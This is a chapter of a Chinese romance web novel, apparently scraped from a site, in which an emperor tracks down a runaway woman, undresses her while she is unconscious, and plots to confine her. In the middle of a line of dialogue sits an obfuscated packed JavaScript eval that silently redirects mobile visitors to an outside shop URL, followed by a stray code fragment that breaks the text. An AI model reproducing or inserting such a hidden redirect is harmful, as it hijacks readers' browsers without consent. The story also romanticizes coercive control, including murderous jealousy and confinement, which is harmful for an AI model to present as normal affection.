气氛凝固了几个瞬息,桎梏她身体的手臂慢慢松了开。
许是看在她愿意赔钱的面子上。
沐笙暗叹,果然钱很重要——“有钱能使鬼推磨”之言,不是没有论据的虚传。
头越来越晕,沐笙朝他微一颔首,转身半扶着栏杆离去,脚步些许虚浮。
燕彻在旁看得胆颤心惊,那夜沐姑娘坠崖身亡的消息从晔都传至阆城,陛下阴戾到恨不得摧毁一切的嗜杀模样,他至今记忆犹新。
陛下从阆城赶回晔都,又从晔都赶到沅湘,不曾停歇,皆是为了沐姑娘。
如今好不容易找到人,会就这么放手?
燕彻一番斟酌,上前说道:“启禀陛下,臣已查清今日之事缘由,姑娘她来此地是为当乐师赚钱,并非为寻欢消遣。方才在屋内,也是正常用饭,并未与他人亲密接触。”
虽说吃了男倌喂的食物,但没有肌肤相触,算没有亲密接触。
至于碰了姑娘的那乐馆东家,是个女子,应该也无伤大雅。
不算谎报。
燕彻如是作想。
-
乐馆里寻欢作乐的客人们见一堆官兵到来,绝大多数忙不迭跑路,剩下小部分看热闹的。
沐笙意识混沌,扶着楼梯扶栏缓慢下楼。
上官照巧笑嫣然,美目无所畏惧睨着县令道:“县令大人若要查封我这南风苑,就该将整个沅湘的秦楼楚馆一起查封,千万不能厚此薄彼呐。”
“毕竟,你们男人需要解闷,我们女人也需要呢。”
此言一出,引起哄堂大笑。
县令竭力维持严肃的脸,清咳两声道:“你莫要在本官面前强词夺理,经查证,此乐馆不少以肉|身接客男倌,均为利诱欺骗进来的。”
“何为欺骗?分明是他们自己为了赚钱自愿进我南风苑。多劳多得,老娘承诺他们的工钱,半个子没少给,”上官照不屑哼声,反唇相讥,“他们赚够了钱要赎身离去时,我也不曾为难,收了钱就放人。”
“从始至终,讲究的是你情我愿。”
“可那些青楼女子呢?有多少是心甘情愿沦落风尘?她们被亲人抛弃,被人牙子拐卖,被不当人折辱训诫,最后强制接客……比我这恶劣多了吧?县令大人不去管那些地方,倒是先拿我这儿开刀,怎么着,堂堂一县父母官,欺软怕硬?”
一大串咄咄逼人的话语,或多或少披露了沅湘在他治理下的问题。
县令思及陛下也在看着,脸上的表情登时就挂不住,青一阵紫一阵。
上官照继续道:“沅湘既已归属晟国,那按晟国法度,略卖人口,逼良从娼,是可处磔刑之大罪。”
“县令大人作为土生土长的晟国子民,对于《晟律》,应该比我更熟悉才对?”
……
沐笙起初是强撑着几分清明,在角落找了个位置坐下,听他们“大声”说话,渐渐有点越听越精神。
《管子》牧民篇有言,严刑罚,而民远邪。
秦絜作为一国之君,制定的某些法令,严苛却于民有利,是以在众多百姓们眼里,他是个好皇帝。
从前她不明白为什么国与国之间要打仗,不能长久好好相处,而今领悟了那么一点点——于昔日孟国子民而言,比起荒淫无道包庇罪恶的孟王,更换新主,未必是坏事。
当初她与娘亲刚被恶人追杀时,不是没想过去官府报官,可官员们拿钱办事,懒得搭理穷人,直言她与娘亲是卑贱之躯,性命不如蝼蚁。
沐笙晃了晃脑袋不愿再回忆,下巴搭着手臂趴在桌上。
原本她担心会发生不好的事,现在看来担心多余。
这位沅湘县令特别和蔼可亲,面对上官姐姐接二连三的讥嘲质问,县令如同面对上司般很好脾气地认错,保证整改,提出解决办法。
不过,有些奇怪的是,县令那双不算大的眼睛,不知何故总往四处瞟,像是在找什么人。
思绪朦胧,时间点点滴滴流逝,人影变得稀疏寥寥,现场缓缓安静下来。
沐笙困意袭来,上下眼皮子打架,不知不觉合上眼。
在她闭眼的同时,一双强劲有力的臂膀绕过她的后腰与腿弯,将她打横抱起,镶入暖热怀抱。
秦絜抱沐笙走出南风苑,已有马车静候,他上车吩咐道:“请个郎中,去孙宅。”
对于此令,燕彻百思不解,愈发不明君意。
感受到所倚胸膛说话时的震动,沐笙红红的脸颊如猫儿般轻蹭了蹭。
秦絜寒凉的眸光柔和几许,抱她更紧,直到她发出不舒服的闷哼声。
“如此憨傻没心眼,还敢离开朕一个人到处乱跑。”
秦絜伸手摘下面具,俯首含住沐笙嫣红的唇瓣,克制着温柔亲吻,心中怒火不减反增。
分别数月,他想她快要想疯,她却没心没肺到完全忘记了他的存在。
他对她身体的每一寸皆了如指掌,比她自己还要熟悉,她却仅仅因为他戴了面具就认不出他。
公子?
想到她适才的态度,秦絜唇角冷笑更甚。
既以为是陌生男人,还坦然让对方搂抱,软声软气说话。
他控制不住深思,她逃出宫来到沅湘这一路,究竟与多少人说过话,甚至与多少人有过触碰……
越深思,越是有极端的念头从脑中不断涌出。
几乎想将她出宫这段时日,与她有过接触的外人都杀了,如有觊觎冒犯她者,更是该碎尸万段,挫骨扬灰。
该将她锁在他身侧,让她日日夜夜只能见到他,与他融为一体,再也不能离开他。
秦絜脸埋在沐笙颈窝,感知她的气息以迫使自己镇静。
在查出她是裴鹤的女儿时,他想过就此杀了她,及时了断这场孽缘。
可当她坠崖身亡的消息传来,哪怕只是一个不确定的消息,他却觉得自己的心好似被挖走,徒留一副空落落的躯体与无边荒芜。
她确实将他蛊惑至深,深到细思极恐的地步。
微颤的大掌移至少女纤长雪颈,指腹摩挲细嫩皮肉。
他厌恶束缚与羁绊。
人心有牵挂,也意味着有软肋。
或许,从最初的最初,就该当机立断杀了她,好过现今难以抉择。
-
孙宅。
吴惠和她的家人们被突如其来的官兵吓到,好在官兵们也没做什么,只将她们赶回屋内待着。
秦絜抱着沐笙进入到她这段时日居住的屋子。
屋里布局简洁,没有太多东西。一张并不宽敞的木床上,被褥叠放得整整齐齐,隐隐残留着她独有的清甜体香。
秦絜动手除去沐笙正穿在身的男式外袍,将人放在榻上,盯着她平坦的胸部蹙了蹙眉。
扯开数层中衣一看,里面果不其然还缠了裹胸束带。
他动作轻柔将束胸带尽数取下,现出柔软雪色。
秦絜喉咙略微干涩,三月不见,他的笙儿不仅仅是个子长高了些……
可惜长胖的只有这一处而已,整个人抱起来还是轻了不少。
秦絜凝视着她不堪一握的细腰怅然失神,他离宫时明明养出了一些肉的。
肌肤完全露在空气中感受到凉意,沐笙身子缩了缩,喉咙却如火中烧,双唇微张。
秦絜为她换好衣裳盖上被子,转身去不远处的木桌为她倒水。
方正四脚木桌的下方,那被笔砚压住的数张宣纸吸引了他的注意力。
他眸色沉了沉,出于某种直觉,伸手移开最上边那张白纸。
黑色墨汁一笔一画勾勒出的丑恶男人面容渐渐进入视线。
秦絜眸中愠色更浓,胸膛起伏着,最终竟是轻笑出了声,将那沓画纸尽数拿起,一张一张仔细看。
他没见过她作画,也不知她会,可纸上字迹,是出自她手无疑。
即便早就清楚她来沅湘是为了谁,但在看见她亲手为其他男人作画,还不只画了一张时,心里那一道准备好的防线又瞬间被击垮,嫉恨到发狂。
此般相思之情,到底是有多深厚?
屋外燕彻领着郎中行至门外,通禀声尚未出口,就听到屋内桌子被大力掀翻与物件碎裂的声响。
敲门的手僵住,燕彻干咽了咽,踯躅不定。
五旬郎中活了这把岁数,算是见过世面,乍一看见这满院官兵还有持剑黑衣卫,只小小地惊讶了一下。
可觑见身旁挺拔魁梧的军官也畏惧屋内之人,不免跟着心慌,胡乱猜测病人是否患了狂疾。
不多时,屋内之人似察觉了他们的到来,允他们进门。
郎中低着头,颤颤巍巍跟了进去,见地板上除却在屋外就能听辨出的那些器物外,还碎了一地画纸。
秦絜将沐笙扶坐起身,倚靠在他怀里,淡声道:“过来把脉。”
郎中闻声回过神,抬眼往前看去,不由怔住。
沅湘也算美人云集之地,但眼前一男一女,容貌好看到给人的感觉是——用“惊艳”已不足以形容,不似凡间能存在的美貌。
且先抛开相貌不谈,那位静坐于榻边的年轻男子,周身气度慑人,有着与生俱来的上位者威仪,仅仅掀眸一个眼神,就令人不寒而栗,第一反应是该双膝跪下。
燕彻出声提醒,郎中才又低垂着头上前,取出脉枕与手帕,为男子怀中少女把脉。
郎中兀自掂量,这人身份决计非比寻常,少看少好奇,方可保命。
然,经再三诊断,郎中有些怀疑自身医术,道:“公子,贵夫人似乎并无大碍,也许是不胜酒力,才暂且昏睡了过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775181|206960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
郎中话调正常,心中惊涛骇浪,群马奔腾——现在的小夫妻,喝醉酒都要寻医?简直是没事找事!
燕彻闻言亦是诧异,未承想沐姑娘当真只是因为一口酒就晕成这般。
不料陛下神色稍缓,又问:“此番昏睡仅因喝了酒,与体弱无关?”
郎中拱手一揖,“确是如此。贵夫人体质虽较常人弱了许多,但只要不服食性寒之物,少忧虑操劳,好生将养,应当不会出大问题。”
秦絜听罢轻点了点头,难得礼貌应道:“劳烦你开些缓解头晕的方子。”
燕彻随即唤人将郎中带下去,目光环视过满地碎乱时,依稀瞧见了娟秀端正的“沐箫”二字。
燕彻想了想,主动回禀帝王未问及一事,“陛下,姑娘在南风苑已知晓楚皊并没有来过沅湘。”
帝王凤眸幽深,注视着怀中少女,良久才意味不明淡淡开口:“将屋内收拾收拾,那些画纸不用管。”
……
沐笙是第二日清晨才醒的,如自然睡醒,无任何不适感。
可她忘了自己是如何从南风苑回来的,又是何时换了衣服。
沐笙疑惑了一会儿,认定是自己喝酒喝迷糊了。
她穿好衣物下榻,见到地上满是碎纸片。
——她为哥哥画的画像,被尽数撕毁。
都说酒品不好的人喝醉酒容易发酒疯,原来她的酒品这么差劲吗?
沐笙揉了揉蓬松乌发,抱膝蹲在地上,表情很是苦恼。
也不知,她回来路上有没有干其他坏事,伤害到别人。
沐笙秀眉蹙起,烦思过后,动手将地上画纸碎屑一点一点捡起。
透过窗户缝隙,她的一举一动,乃至脸上每一丝细微表情,皆落入一双阴鸷肃杀的凤眸中。
沐笙收拾到一半,房门就被敲响。
她过去打开门,见吴惠站在门口,女子双手紧紧交握在身前,眼光躲闪而含歉疚。
沐笙笑着问:“吴姐姐是有何事?”
吴惠迟疑许久,终是闭了闭眼,狠心道:“阿笙,先前怪我思虑不周,才将你带回……可你终究是一个外人,还是不要再赖在我家了。”
是逐客令的意思。
沐笙一字一句听完,脑袋嗡嗡的,当场愣住,对方毫无预兆的态度转变,仿佛突然在她脚底凿开了一个无底洞,让人持续下坠。
确定不是做梦后,她旋即点头回复道:“好,吴姐姐放心,我马上就走…”
呢喃细语,像在回应,又像是在告诫自己,沐笙逃一般回屋去整理包袱。
“阿笙……”
吴惠语调苦涩叫住她,还想说些什么,又不能说。
沐笙回头,再次挤出笑容,垂睫轻声说:“没关系的,吴姐姐。”
她不知道吴姐姐此时的说辞是不是赶她走的真实缘由,但她胆小,没有勇气再问下去。
收留她是情分,不收留她是本分,没有谁必须一直对她好。
从离开青石镇开始,她四处漂泊居无定所。
起初有娘亲陪在身边,她去哪都不怕,因为有娘亲在的地方就是家。
再后来娘亲走了,她很孤独,很害怕,不知道为什么活着,浑浑噩噩地报恩,浑浑噩噩地想要找到哥哥。
结果,恩人厌恶了她,哥哥也是骗她的。
……
临近年关,本就游人如织的沅湘,大街小巷较以往更热闹,喜庆红灯笼高高挂起,孩童手持糖葫芦被父母牵着,欢声笑语盈耳……所闻所见,处处弥漫浓浓的年味,也是团圆的味道。
沐笙抬袖擦了擦溢出眼眶的泪水,是她太贪心,体会到一点温暖,就奢望温暖停留的日子能长一些,再长一些。
然而那些散发温暖的火光从来就不属于她,只是好心愿意照亮她片刻,她却因此生出了不舍。
沐笙孤身从孙宅出来,秦絜一直跟在她身后,保持着不远不近的距离。只不过她魂不守舍,根本发现不了他。
他也不想对她那么残忍,看她伤心难过,可她实在不听话,他若不给她点教训,她就永远不知外界人心险恶,不知他才是世间最好的,总想着离开他。
沐笙走到南风苑楼下,见彩绘大门已关闭,贴上了整改的封条。
她轻轻一叹,想到南风苑斜对面那家糕点铺的云片糕很好吃,口感软糯,甜而不腻。最重要的是,价钱很贴心。
心情郁闷时,很适合买云片糕吃。
沐笙下意识将手伸至腰间,摸到一片空空如也。
就在昨日,她所剩无几的铜板连同钱袋一起,全被用作道歉赔偿。
好像,一无所有了。
这时,几名持剑的黑衣男子拦住她去路,恭敬道:
“沐姑娘,请上马车。”